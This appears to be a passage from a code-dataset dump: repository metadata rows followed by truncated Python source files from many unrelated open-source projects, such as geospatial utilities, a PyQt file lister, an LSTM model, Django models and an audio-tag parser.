... | 25.939394 | 83 | 0.647196 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 120 | 0.140187 |
b0e46a90af345235275bf125d7191b762e1c076e | 6,530 | py | Python | geoutils/misc.py | erikmannerfelt/GeoUtils | 96a044f7cca73f936e5b245a5e99e0d2102d279f | [
"BSD-3-Clause"
] | 23 | 2020-11-11T11:00:45.000Z | 2022-03-28T07:06:56.000Z | geoutils/misc.py | erikmannerfelt/GeoUtils | 96a044f7cca73f936e5b245a5e99e0d2102d279f | [
"BSD-3-Clause"
] | 223 | 2020-11-11T14:34:51.000Z | 2022-03-31T14:14:58.000Z | geoutils/misc.py | erikmannerfelt/GeoUtils | 96a044f7cca73f936e5b245a5e99e0d2102d279f | [
"BSD-3-Clause"
] | 14 | 2021-02-19T09:57:46.000Z | 2022-03-21T09:49:12.000Z | """Miscellaneous functions, mainly for testing."""
from __future__ import annotations
import functools
import warnings
import numpy as np
import rasterio as rio
import geoutils
from geoutils._typing import ArrayLike
from geoutils.georaster import Raster, RasterType
def array_equal(
array1: RasterType | ArrayLi... | 38.187135 | 113 | 0.622971 | 0 | 0 | 0 | 0 | 1,453 | 0.222511 | 0 | 0 | 3,665 | 0.561256 |
b0e7cd1cacbdf9713f6574f513c54cc6fc8be57b | 1,860 | py | Python | sorting/merge_sort.py | matuzalemmuller/algoritmos | 138e7c9747879a58fab48908541c175b8653da5c | [
"MIT"
] | null | null | null | sorting/merge_sort.py | matuzalemmuller/algoritmos | 138e7c9747879a58fab48908541c175b8653da5c | [
"MIT"
] | null | null | null | sorting/merge_sort.py | matuzalemmuller/algoritmos | 138e7c9747879a58fab48908541c175b8653da5c | [
"MIT"
] | null | null | null | # UFSC - Campus Trindade
# PPGEAS - Introducao a Algoritmos
# Matuzalem Muller dos Santos
# 2019/1
# Commented code is for calculating algorithm completixy and printing variables
from random import randint
import time
import sys
def merge_sort(array):
# n = 0
if len(array) > 1:
half = len(array) // 2
... | 26.956522 | 79 | 0.58172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 359 | 0.193011 |
b0e7ec352bf4d97e4861749ed21422b37bbf8b42 | 2,239 | py | Python | binsync/data/struct.py | zachsez/binsync | 39a53a84c640314adbf50e612177c4a56c43542c | [
"MIT"
] | 40 | 2021-05-09T03:24:46.000Z | 2022-03-31T23:01:50.000Z | binsync/data/struct.py | zachsez/binsync | 39a53a84c640314adbf50e612177c4a56c43542c | [
"MIT"
] | 53 | 2021-05-27T07:53:58.000Z | 2022-03-27T21:35:26.000Z | binsync/data/struct.py | zachsez/binsync | 39a53a84c640314adbf50e612177c4a56c43542c | [
"MIT"
] | 10 | 2021-05-13T22:09:38.000Z | 2022-03-31T23:51:27.000Z | import toml
from typing import List, Dict
from .artifact import Artifact
class StructMember(Artifact):
"""
Describes a struct member that corresponds to a struct.
"""
__slots__ = (
"last_change",
"member_name",
"offset",
"type",
"size",
)
def __init__... | 23.568421 | 102 | 0.590442 | 2,151 | 0.960697 | 0 | 0 | 406 | 0.181331 | 0 | 0 | 284 | 0.126842 |
b0e84025ba8edc34831e545492abd9cc1b7a33c6 | 9,070 | py | Python | __init__.py | itsmepvr/list_images_to_excel | a4da3948a289c91cbcab90980364e989af7f1118 | [
"MIT"
] | null | null | null | __init__.py | itsmepvr/list_images_to_excel | a4da3948a289c91cbcab90980364e989af7f1118 | [
"MIT"
] | null | null | null | __init__.py | itsmepvr/list_images_to_excel | a4da3948a289c91cbcab90980364e989af7f1118 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Author: Venkata Ramana P
<github.com/itsmepvr>
List files to an excel sheet
"""
import os, glob
import sys
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox
from PyQt5.QtWidgets import *
from PyQt5.QtGui import * ... | 43.190476 | 110 | 0.661632 | 8,444 | 0.930981 | 0 | 0 | 0 | 0 | 0 | 0 | 1,847 | 0.203638 |
b0e8a0baacae15b6d64e13be86210039b28af7e3 | 1,215 | py | Python | exception.py | a2gs/pythonStudy | e790e223a05fd50a5bcaf1240ef24ff60f361cdd | [
"MIT"
] | null | null | null | exception.py | a2gs/pythonStudy | e790e223a05fd50a5bcaf1240ef24ff60f361cdd | [
"MIT"
] | null | null | null | exception.py | a2gs/pythonStudy | e790e223a05fd50a5bcaf1240ef24ff60f361cdd | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
class myBaseException(Exception):
def __init__(self, errNum, errMsg):
self.err = errNum
self.msg = errMsg
class myExcept_1(myBaseException):
def __init__(self):
super().__init__(13, "except 1")
class myExcept_2(myBaseException):
def __init__(self):
super().... | 19.918033 | 56 | 0.626337 | 289 | 0.23786 | 0 | 0 | 0 | 0 | 0 | 0 | 472 | 0.388477 |
b0e8e97e17556ae476f654f72b30433601cb2273 | 564 | py | Python | datachecker/processors/conditionals.py | jayclassless/datachecker | dd42b95f87eaaca428595fe5da639f9a710afba8 | [
"MIT"
] | null | null | null | datachecker/processors/conditionals.py | jayclassless/datachecker | dd42b95f87eaaca428595fe5da639f9a710afba8 | [
"MIT"
] | null | null | null | datachecker/processors/conditionals.py | jayclassless/datachecker | dd42b95f87eaaca428595fe5da639f9a710afba8 | [
"MIT"
] | null | null | null | from ..errors import DataRequiredError, ShortCircuitSignal
from ..util import processor
__all__ = (
'required',
'optional',
)
@processor
def required():
def required_processor(data):
if data is None:
raise DataRequiredError()
return data
return required_processor
@proce... | 18.8 | 58 | 0.64539 | 0 | 0 | 0 | 0 | 421 | 0.746454 | 0 | 0 | 20 | 0.035461 |
b0eca7b772b3e9b8c51b6d9de56d789e01ceaffc | 226 | py | Python | python/args/multiple.py | jdurbin/sandbox | ee982f7386ae02c5937dbaee867710b5cd2cc71b | [
"MIT"
] | null | null | null | python/args/multiple.py | jdurbin/sandbox | ee982f7386ae02c5937dbaee867710b5cd2cc71b | [
"MIT"
] | null | null | null | python/args/multiple.py | jdurbin/sandbox | ee982f7386ae02c5937dbaee867710b5cd2cc71b | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys,argparse
parser = argparse.ArgumentParser()
parser.add_argument('-foo', nargs='+', help='foo values', required=False)
args = parser.parse_args()
for foo in args.foo:
print("Foo: ",foo) | 20.545455 | 73 | 0.70354 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 50 | 0.221239 |
b0ed0165784914f7dc8282f6f368dd72c90b41f2 | 1,594 | py | Python | src/parent_class/ParentPluralList.py | jameskabbes/parent_class | cecf938a2f9c66d8914967098b2064526bbec1c7 | [
"MIT"
] | null | null | null | src/parent_class/ParentPluralList.py | jameskabbes/parent_class | cecf938a2f9c66d8914967098b2064526bbec1c7 | [
"MIT"
] | null | null | null | src/parent_class/ParentPluralList.py | jameskabbes/parent_class | cecf938a2f9c66d8914967098b2064526bbec1c7 | [
"MIT"
] | null | null | null | from parent_class import ParentPlural
from typing import List
class ParentPluralList( ParentPlural ):
def __init__( self, att = 'list' ):
ParentPlural.__init__( self, att = att )
self.set_attr( self.att, [] )
def __len__( self ):
return len(self.get_list())
def __next__( self )... | 21.835616 | 95 | 0.527604 | 1,456 | 0.913425 | 0 | 0 | 0 | 0 | 0 | 0 | 144 | 0.090339 |
b0ed1693b1a77aee2f28b941c3d753890e7d9408 | 1,454 | py | Python | prototypes/harvesters/cxidb_harvester.py | materials-data-facility/connect | 9ec5b61750bf6fa579bf3ec122f31880d3c049b8 | [
"Apache-2.0"
] | 1 | 2019-09-13T18:35:56.000Z | 2019-09-13T18:35:56.000Z | prototypes/harvesters/cxidb_harvester.py | materials-data-facility/connect_server | 9ec5b61750bf6fa579bf3ec122f31880d3c049b8 | [
"Apache-2.0"
] | 15 | 2018-11-01T18:08:11.000Z | 2021-12-06T17:55:03.000Z | prototypes/harvesters/cxidb_harvester.py | materials-data-facility/connect | 9ec5b61750bf6fa579bf3ec122f31880d3c049b8 | [
"Apache-2.0"
] | 1 | 2020-11-30T17:02:41.000Z | 2020-11-30T17:02:41.000Z | import requests
from json import dump
import os
from shutil import rmtree
from tqdm import tqdm
#Collects available data from CXIDB and saves to the given directory
#out_dir: The path to the directory (which will be created) for the data files
#existing_dir:
# -1: Remove out_dir if it exists
# 0: Error if... | 36.35 | 82 | 0.643741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 555 | 0.381706 |
b0ed5b6a6f6876d6d3b9b9b973debc09d4041302 | 136 | py | Python | bot/permissions.py | Yakov-Varnaev/Epicker_bot | da077e0bcfbd41a2efaed74d71e7c4c818b842c0 | [
"MIT"
] | null | null | null | bot/permissions.py | Yakov-Varnaev/Epicker_bot | da077e0bcfbd41a2efaed74d71e7c4c818b842c0 | [
"MIT"
] | null | null | null | bot/permissions.py | Yakov-Varnaev/Epicker_bot | da077e0bcfbd41a2efaed74d71e7c4c818b842c0 | [
"MIT"
] | null | null | null | from aiogram import types
import config
async def is_admin(message: types.Message):
return message.from_user.id in config.ADMINS
| 17 | 48 | 0.786765 | 0 | 0 | 0 | 0 | 0 | 0 | 92 | 0.676471 | 0 | 0 |
b0f062298bedb55fde1aeecf88bc32677fffabc9 | 127 | py | Python | ssshare/__init__.py | centaur679/ShadowSocksShare | 41f85e9a0adc1322fd8f254a1c1a5360d228507a | [
"Apache-2.0"
] | 2,341 | 2019-03-04T05:41:12.000Z | 2022-03-31T11:30:40.000Z | ssshare/__init__.py | centaur679/ShadowSocksShare | 41f85e9a0adc1322fd8f254a1c1a5360d228507a | [
"Apache-2.0"
] | 50 | 2019-03-24T01:35:13.000Z | 2021-09-09T22:59:15.000Z | ssshare/__init__.py | centaur679/ShadowSocksShare | 41f85e9a0adc1322fd8f254a1c1a5360d228507a | [
"Apache-2.0"
] | 780 | 2019-03-04T07:33:37.000Z | 2022-03-22T23:32:53.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)
app.config.from_object("config")
| 15.875 | 32 | 0.685039 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 52 | 0.409449 |
b0f238f39a9f9a11e1383c07dd66cb298f4de952 | 21,160 | py | Python | worldengine/cli/main.py | stefan-feltmann/lands | b2f1fc3aab4895763160a135d085a17dceb5f58e | [
"MIT"
] | null | null | null | worldengine/cli/main.py | stefan-feltmann/lands | b2f1fc3aab4895763160a135d085a17dceb5f58e | [
"MIT"
] | null | null | null | worldengine/cli/main.py | stefan-feltmann/lands | b2f1fc3aab4895763160a135d085a17dceb5f58e | [
"MIT"
] | null | null | null | import sys
from argparse import ArgumentParser
import os
import pickle
import random
import worldengine.generation as geo
from worldengine.common import array_to_matrix, set_verbose, print_verbose
from worldengine.draw import draw_ancientmap_on_file, draw_biome_on_file, draw_ocean_on_file, \
draw_precipitation_on_f... | 41.653543 | 98 | 0.57689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7,046 | 0.332987 |
b0f3965138dd98bc050b860206e62e5235246cb0 | 1,432 | py | Python | poc-api-gateway/init-project.py | ronald-pineda/poc | b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3 | [
"Apache-2.0"
] | null | null | null | poc-api-gateway/init-project.py | ronald-pineda/poc | b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3 | [
"Apache-2.0"
] | null | null | null | poc-api-gateway/init-project.py | ronald-pineda/poc | b5bdb7eff963b251ea70cf02570c7d0b6cbef5e3 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
import sys
import os
def create_project_folders(projectFolders):
create_folder(fullServicesFolder)
for projectIndex in range(len(projectFolders)):
projectFolder = fullServicesFolder + "/" + projectFolders[projectIndex]
create_folder(projectFolder)
open(projectFolder ... | 30.468085 | 109 | 0.672486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 361 | 0.252095 |
b0f74b9d843423b3b2ee4eb76a8944598071e925 | 10,133 | py | Python | lstm.py | mustyoshi/scikit-ta | c2a8f4ce2deadaa13d8bd8891aabd096b397e330 | [
"MIT"
] | 1 | 2018-03-12T19:50:14.000Z | 2018-03-12T19:50:14.000Z | lstm.py | mustyoshi/scikit-ta | c2a8f4ce2deadaa13d8bd8891aabd096b397e330 | [
"MIT"
] | null | null | null | lstm.py | mustyoshi/scikit-ta | c2a8f4ce2deadaa13d8bd8891aabd096b397e330 | [
"MIT"
] | 1 | 2020-02-22T21:59:39.000Z | 2020-02-22T21:59:39.000Z | from __future__ import print_function
import tensorflow as tf
from tensorflow.contrib import rnn
import pandas as pd
import numpy as np
import random
import time
import os
import datetime
from tensorflow.python.client import timeline
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
from sklearn.model_selection import train_t... | 42.936441 | 220 | 0.589954 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,909 | 0.287082 |
b0f85d4de8f913a7c50b0d59c38e3f8dc18c049b | 2,375 | py | Python | src/napari_live_recording/__init__.py | jethro33/napari-live-recording | 6c3fcc33bd18cd090e3f89971b630d1800e29e4d | [
"MIT"
] | 7 | 2021-10-11T17:45:33.000Z | 2022-02-07T16:10:42.000Z | src/napari_live_recording/__init__.py | jethro33/napari-live-recording | 6c3fcc33bd18cd090e3f89971b630d1800e29e4d | [
"MIT"
] | 2 | 2021-11-01T09:00:11.000Z | 2022-01-24T16:21:05.000Z | src/napari_live_recording/__init__.py | jethro33/napari-live-recording | 6c3fcc33bd18cd090e3f89971b630d1800e29e4d | [
"MIT"
] | null | null | null | from napari.viewer import Viewer
import napari_live_recording.devices as devices
from napari_live_recording.widgets import CameraSelection
from napari_live_recording.control import Controller
from qtpy.QtWidgets import QWidget, QFormLayout, QGroupBox
class NapariLiveRecording(QWidget):
def __init__(self, napari_vi... | 45.673077 | 105 | 0.663579 | 2,123 | 0.893895 | 0 | 0 | 0 | 0 | 0 | 0 | 579 | 0.243789 |
b0f8a636893a665d94b32f86e052882874326b1a | 4,277 | py | Python | Chapter08/inceptionV3.py | wikibook/deep-learning-reference | 18d2ca2ded4256b2ddbac6e76d57531ca13e6e30 | [
"MIT"
] | 2 | 2020-02-13T05:45:20.000Z | 2020-04-11T05:58:02.000Z | Chapter08/inceptionV3.py | wikibook/deep-learning-reference | 18d2ca2ded4256b2ddbac6e76d57531ca13e6e30 | [
"MIT"
] | null | null | null | Chapter08/inceptionV3.py | wikibook/deep-learning-reference | 18d2ca2ded4256b2ddbac6e76d57531ca13e6e30 | [
"MIT"
] | null | null | null | # Deep Learning Quick Reference Chapter 8: Transfer Learning
# Mike Bernico <mike.bernico@gmail.com>
# seed random number generators before importing keras
import numpy as np
np.random.seed(42)
import tensorflow as tf
tf.set_random_seed(42)
from keras.applications.inception_v3 import InceptionV3
from keras.models im... | 34.491935 | 133 | 0.710545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 862 | 0.201543 |
b0f8d8e1a99343fc9166ec575752cd7be6e45cee | 827 | py | Python | Pytorch/5-CNN/nn_Sequential.py | pengchenyu111/PaperCodeReplication | 7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a | [
"Apache-2.0"
] | null | null | null | Pytorch/5-CNN/nn_Sequential.py | pengchenyu111/PaperCodeReplication | 7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a | [
"Apache-2.0"
] | null | null | null | Pytorch/5-CNN/nn_Sequential.py | pengchenyu111/PaperCodeReplication | 7b8681654e25b7d707f4b4d7ebcfb85ffc0fd52a | [
"Apache-2.0"
] | null | null | null | import torch
from torch import nn
from torch.nn import Conv2d, MaxPool2d, Flatten, Linear, Sequential
from torch.utils.tensorboard import SummaryWriter
class Tudui(nn.Module):
def __init__(self):
super(Tudui, self).__init__()
self.model1 = Sequential(
Conv2d(3, 32, 5, padding=2),
... | 22.972222 | 67 | 0.584039 | 483 | 0.584039 | 0 | 0 | 0 | 0 | 0 | 0 | 8 | 0.009674 |
b0fb6f704b8d712fad268b480c2d25cc8bc409f5 | 1,232 | py | Python | src/brewlog/utils/query.py | zgoda/brewlog | 13a930b328f81d01a2be9aca07d3b14703b80faa | [
"BSD-3-Clause"
] | 3 | 2019-03-11T04:30:06.000Z | 2020-01-26T03:21:52.000Z | src/brewlog/utils/query.py | zgoda/brewlog | 13a930b328f81d01a2be9aca07d3b14703b80faa | [
"BSD-3-Clause"
] | 23 | 2019-02-06T20:37:37.000Z | 2020-06-01T07:08:35.000Z | src/brewlog/utils/query.py | zgoda/brewlog | 13a930b328f81d01a2be9aca07d3b14703b80faa | [
"BSD-3-Clause"
] | null | null | null | from typing import Optional
from flask import url_for
from flask_sqlalchemy import BaseQuery
from ..ext import db
from ..models import Brew, BrewerProfile
def public_or_owner(query: BaseQuery, user: Optional[BrewerProfile]) -> BaseQuery:
"""Filter Brew query of all non-accessible objects.
:param query: que... | 29.333333 | 84 | 0.649351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 289 | 0.234578 |
b0fda5ff40de8e081dd602a278f08974ff524613 | 11,355 | py | Python | adventures/bucketlist/tests/test_api.py | lakivisi-zz/adventures | f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5 | [
"MIT"
] | null | null | null | adventures/bucketlist/tests/test_api.py | lakivisi-zz/adventures | f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5 | [
"MIT"
] | null | null | null | adventures/bucketlist/tests/test_api.py | lakivisi-zz/adventures | f094ac3fa1d5c85d65650c9cdc2ff2f60f9189a5 | [
"MIT"
] | 1 | 2021-01-14T21:27:32.000Z | 2021-01-14T21:27:32.000Z | from django.urls import reverse
from rest_framework import status
from rest_framework.test import APITestCase
from bucketlist.models import Bucketlist, Item
from bucketlist.tests.factories import (BucketlistFactory,
UserFactory,
ItemFactor... | 41.593407 | 88 | 0.574813 | 10,993 | 0.96812 | 0 | 0 | 0 | 0 | 0 | 0 | 1,716 | 0.151123 |
b0fdbad819a58bb24f68fffc89eae7b13da8ac0a | 514 | py | Python | src/model/match.py | HarborYuan/Student-Information-Management-System | 7226bdea9a422cc88876ba58f1e36e4f7087342d | [
"Apache-2.0"
] | null | null | null | src/model/match.py | HarborYuan/Student-Information-Management-System | 7226bdea9a422cc88876ba58f1e36e4f7087342d | [
"Apache-2.0"
] | null | null | null | src/model/match.py | HarborYuan/Student-Information-Management-System | 7226bdea9a422cc88876ba58f1e36e4f7087342d | [
"Apache-2.0"
] | 1 | 2018-12-03T11:43:37.000Z | 2018-12-03T11:43:37.000Z | import re
class IsCellphone():
def __init__(self):
self.p = re.compile(r'[1][^1269]\d{9}')
def iscellphone(self, number):
res = self.p.match(number)
if res:
return True
else:
return False
class IsMail():
def __init__(self):
self.p = re.com... | 19.769231 | 77 | 0.486381 | 498 | 0.968872 | 0 | 0 | 0 | 0 | 0 | 0 | 66 | 0.128405 |
b0feb9c47583568b91cc55ff1a17eb9a915a0f41 | 1,626 | py | Python | framework/repository/info.py | jarret/bitcoin_helpers | 4b6155ea3b004ad58a717b36cd58138d058281b1 | [
"MIT"
] | null | null | null | framework/repository/info.py | jarret/bitcoin_helpers | 4b6155ea3b004ad58a717b36cd58138d058281b1 | [
"MIT"
] | null | null | null | framework/repository/info.py | jarret/bitcoin_helpers | 4b6155ea3b004ad58a717b36cd58138d058281b1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
import json
import os
import sys
from framework.path.path import Path
from framework.file.io import read_file... | 36.954545 | 79 | 0.674662 | 1,136 | 0.698647 | 0 | 0 | 0 | 0 | 0 | 0 | 649 | 0.399139 |
b0ff358c2ba4c5c042b20c8c472910cebd571e0f | 861 | py | Python | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | 4 | 2021-10-06T19:09:12.000Z | 2022-03-28T12:14:42.000Z | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | 2 | 2021-11-30T16:07:05.000Z | 2022-02-17T23:57:00.000Z | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | null | null | null | import graphene
import graphql_jwt
from .resolvers import MemberResolvers
from .types import MemberType, UserType
class MemberQueries(graphene.ObjectType, MemberResolvers):
member = graphene.Field(MemberType, id=graphene.ID(required=True))
all_users = graphene.List(UserType)
all_members = graphene.List(M... | 34.44 | 70 | 0.773519 | 740 | 0.859466 | 0 | 0 | 0 | 0 | 0 | 0 | 82 | 0.095238 |
b0ffaa7976be25e795d5abe04edf6fd2fd0631eb | 1,540 | py | Python | cookie_manager/security_decorator.py | ScholarPack/cookie-manager | 342eaf19d4ebbe83319306e4a3afcc3988f61d3d | [
"MIT"
] | 10 | 2020-02-26T14:13:05.000Z | 2021-07-30T02:16:47.000Z | cookie_manager/security_decorator.py | ScholarPack/cookie-manager | 342eaf19d4ebbe83319306e4a3afcc3988f61d3d | [
"MIT"
] | 13 | 2020-02-26T10:42:09.000Z | 2021-09-30T13:26:23.000Z | cookie_manager/security_decorator.py | ScholarPack/cookie-manager | 342eaf19d4ebbe83319306e4a3afcc3988f61d3d | [
"MIT"
] | 3 | 2020-03-29T00:49:23.000Z | 2020-07-24T16:26:20.000Z | from functools import wraps
from typing import List, Any
from cookie_manager import CookieManager
class CookieSecurityDecorator:
_cookie_manager = None
_request = None
_cookie_name = None
def init_app(self, request: Any, cookie_manager: CookieManager, cookie_name: str):
"""
Initialise... | 34.222222 | 96 | 0.619481 | 1,439 | 0.934416 | 0 | 0 | 456 | 0.296104 | 0 | 0 | 517 | 0.335714 |
7c0015d18f7709ad1f58810e4e4fbcf0c3ae1358 | 6,394 | py | Python | mutagen/aiff.py | lucienimmink/scanner.py | cecaa0a570ba8058321dea1c8efa9f77868effb3 | [
"MIT"
] | 2 | 2022-03-14T15:34:14.000Z | 2022-03-23T17:05:42.000Z | mutagen/aiff.py | lucienimmink/scanner.py | cecaa0a570ba8058321dea1c8efa9f77868effb3 | [
"MIT"
] | null | null | null | mutagen/aiff.py | lucienimmink/scanner.py | cecaa0a570ba8058321dea1c8efa9f77868effb3 | [
"MIT"
] | 2 | 2020-09-17T08:27:12.000Z | 2021-08-23T11:13:52.000Z | # -*- coding: utf-8 -*-
# Copyright (C) 2014 Evan Purkhiser
# 2014 Ben Ockmore
# 2019-2020 Philipp Wolfer
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either ... | 25.99187 | 78 | 0.610416 | 4,688 | 0.733187 | 0 | 0 | 2,195 | 0.343291 | 0 | 0 | 1,951 | 0.30513 |
7c007a5d23b8a2015cedebc0918ddd73086265d1 | 398 | py | Python | secrets_example.py | fuzzysearch404/SpotifyPlaylistScripts | 17915742ca666edd8376f04d0e2687b207c32471 | [
"MIT"
] | null | null | null | secrets_example.py | fuzzysearch404/SpotifyPlaylistScripts | 17915742ca666edd8376f04d0e2687b207c32471 | [
"MIT"
] | 1 | 2021-11-03T13:40:55.000Z | 2021-11-03T13:40:55.000Z | secrets_example.py | fuzzysearch404/SpotifyPlaylistScripts | 17915742ca666edd8376f04d0e2687b207c32471 | [
"MIT"
] | null | null | null | # Spotify web application client ID
CLIENT_ID = 'your_client_id'
# Spotify web application client secret
CLIENT_SECRET = 'your_client_secret'
# Redirect URI. This can be any uri.
# Howerver, you MUST add this uri to your Spotify web app's settings.
# Application settings -> Edit Settings -> Redirect URIs.
# Add... | 44.222222 | 70 | 0.753769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 345 | 0.866834 |
7c02196ff08fda517c472d6a6325f606f3df8cac | 1,210 | py | Python | tradeiobot/db/stores/abstractstore.py | hcv57/tradeio-bot | a4c9f96a104e20ca0618d8d787cfef3599c8ebb7 | [
"MIT"
] | 2 | 2018-10-28T18:47:02.000Z | 2019-10-09T14:52:04.000Z | tradeiobot/db/stores/abstractstore.py | hcv57/tradeio-bot | a4c9f96a104e20ca0618d8d787cfef3599c8ebb7 | [
"MIT"
] | null | null | null | tradeiobot/db/stores/abstractstore.py | hcv57/tradeio-bot | a4c9f96a104e20ca0618d8d787cfef3599c8ebb7 | [
"MIT"
] | null | null | null | import abc
class AbstractStore(abc.ABC):
def get(self, table, key, next_store_action):
value = self.do_get(table, key)
if not value:
value = next_store_action(table, key)
if value: # then update the local store
self.do_set(table, key, value)
return ... | 26.888889 | 56 | 0.602479 | 1,197 | 0.989256 | 0 | 0 | 281 | 0.232231 | 0 | 0 | 29 | 0.023967 |
7c037d89e3a9bf24f7302ca98b6d3dd08cac776e | 11,062 | py | Python | ML/meanvel.py | lewisfish/Triton-dolphin | bc7256485e1bd943e0b9b3017c214c82e26905f3 | [
"MIT"
] | null | null | null | ML/meanvel.py | lewisfish/Triton-dolphin | bc7256485e1bd943e0b9b3017c214c82e26905f3 | [
"MIT"
] | null | null | null | ML/meanvel.py | lewisfish/Triton-dolphin | bc7256485e1bd943e0b9b3017c214c82e26905f3 | [
"MIT"
] | null | null | null | from concurrent import futures
from itertools import repeat
import pathlib
from pathlib import Path
import pickle
import time
from typing import List, Tuple, Union
import cv2 as cv2
import hdbscan
import numpy as np
import pims
from sklearn.cluster import KMeans
from sklearn.preprocessing import StandardScaler
from tq... | 28.29156 | 176 | 0.626831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4,380 | 0.39595 |
7c088d45f5f62ebef1ceafec95293618d4108e74 | 390 | py | Python | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 2 | 2020-05-13T12:55:01.000Z | 2020-07-24T06:52:49.000Z | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 1 | 2020-05-22T09:03:04.000Z | 2020-05-22T09:31:45.000Z | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 2 | 2020-07-21T00:54:09.000Z | 2020-10-29T18:10:03.000Z | # This package will contain the spiders of your Scrapy project
#
# Please refer to the documentation for information on how to create and manage
# your spiders.
import scrapy
class ExampleSpider(scrapy.Spider):
"""ExampleSpider
Auto generated by os-scrapy-cookiecuter
Run:
scrapy crawl example
... | 19.5 | 79 | 0.697436 | 211 | 0.541026 | 0 | 0 | 0 | 0 | 0 | 0 | 294 | 0.753846 |
7c094dc9f6789987096d646f2920ee372eb6f1b8 | 3,409 | py | Python | zero_paper/models.py | PLsergent/zero-paper | 4663e0e9976447419b5da5cdd32e57dccfc32125 | [
"MIT"
] | null | null | null | zero_paper/models.py | PLsergent/zero-paper | 4663e0e9976447419b5da5cdd32e57dccfc32125 | [
"MIT"
] | null | null | null | zero_paper/models.py | PLsergent/zero-paper | 4663e0e9976447419b5da5cdd32e57dccfc32125 | [
"MIT"
] | null | null | null | from django.db import models
from django.contrib.auth.models import User
from django.utils import timezone
from django.dispatch import receiver
import os
import shutil
class Folder(models.Model):
name = models.CharField(max_length=128)
parent_folder = models.ForeignKey("self", null=True, blank=True, on_delete... | 29.903509 | 94 | 0.661484 | 1,272 | 0.37313 | 0 | 0 | 1,549 | 0.454385 | 0 | 0 | 490 | 0.143737 |
7c0a7ee8a1d12afb4a736f3531f18c61cfd4058f | 100 | py | Python | mr/request.py | chiselko6/MapReduce | dde409525b1fa121fd5ecefafc13414032c01f1c | [
"MIT"
] | 1 | 2021-03-11T22:18:56.000Z | 2021-03-11T22:18:56.000Z | mr/request.py | chiselko6/MapReduce | dde409525b1fa121fd5ecefafc13414032c01f1c | [
"MIT"
] | null | null | null | mr/request.py | chiselko6/MapReduce | dde409525b1fa121fd5ecefafc13414032c01f1c | [
"MIT"
] | null | null | null | def is_success(code):
return code == 'ok'
def is_error_code(code):
return code == 'ERROR'
| 14.285714 | 26 | 0.64 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 | 0.11 |
7c0d4593b55079c9f02350a49f16e7cc7ca276e1 | 2,435 | py | Python | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 2 | 2021-04-20T17:30:37.000Z | 2021-11-28T01:03:27.000Z | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 2 | 2021-04-15T14:16:10.000Z | 2021-04-16T16:45:58.000Z | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 4 | 2021-04-15T14:11:10.000Z | 2021-08-10T19:19:46.000Z | # ***************************************************************** #
# #
# (C) Copyright IBM Corp. 2021 #
# #
# SPDX-License-Identifier: Apache-2.0 ... | 39.918033 | 120 | 0.561396 | 1,711 | 0.702669 | 0 | 0 | 367 | 0.150719 | 755 | 0.310062 | 1,485 | 0.609856 |
9fd0cbfeb51abe9f235403600ea433496b7820f2 | 14,396 | py | Python | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
] | 265 | 2018-03-04T04:47:50.000Z | 2019-05-06T13:31:18.000Z | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
